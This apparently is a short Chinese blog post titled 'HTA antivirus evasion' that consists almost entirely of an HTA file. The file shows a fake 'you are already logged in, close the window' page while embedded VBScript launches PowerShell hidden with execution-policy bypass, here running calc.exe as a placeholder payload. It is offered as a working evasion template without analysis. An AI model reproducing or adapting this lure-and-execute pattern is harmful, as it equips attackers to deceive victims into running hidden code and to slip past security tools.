HTA免杀

  • Post author:
  • Post category:其他


<!--xhacker.hta-->
<html>
<head>
<title>CodeWorld</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<HTA:ApplicationID="oHTA" Applicationname="hta_app" border="thin" borderstyle="normal" icon="hello.ico" maximizebutton="yes" minimizebutton="yes" showintaskbar="no" singleinstance="no" sysmenu="yes" version="777" windowstate="normal" scroll="yes">
</head>
<body>
<center>
<br>
<h1>Code World Channel</h1>
<br>
<h2>您已经登录!请关闭窗口后操作!</h2>
<br>
</center>
<script language="VBScript">
Set Hackin = CreateObject("Wscript.Shell")
Set Check = CreateObject("Scripting.FileSystemObject")
If Check.FileExists(Split(Hackin.ExpandEnvironmentStrings("%PSModulePath%"),";")(1) + "\..\powershell.exe") Then
Hackin.Run "powershell.exe -exec bypass -nop -w hidden calc.exe"
// Hackin.Run "taskkill /f /im mshta.exe"
else 
msgbox "Wrong operation, powershell.exe doesn't exist!"
End If
</script>
</body>
</html>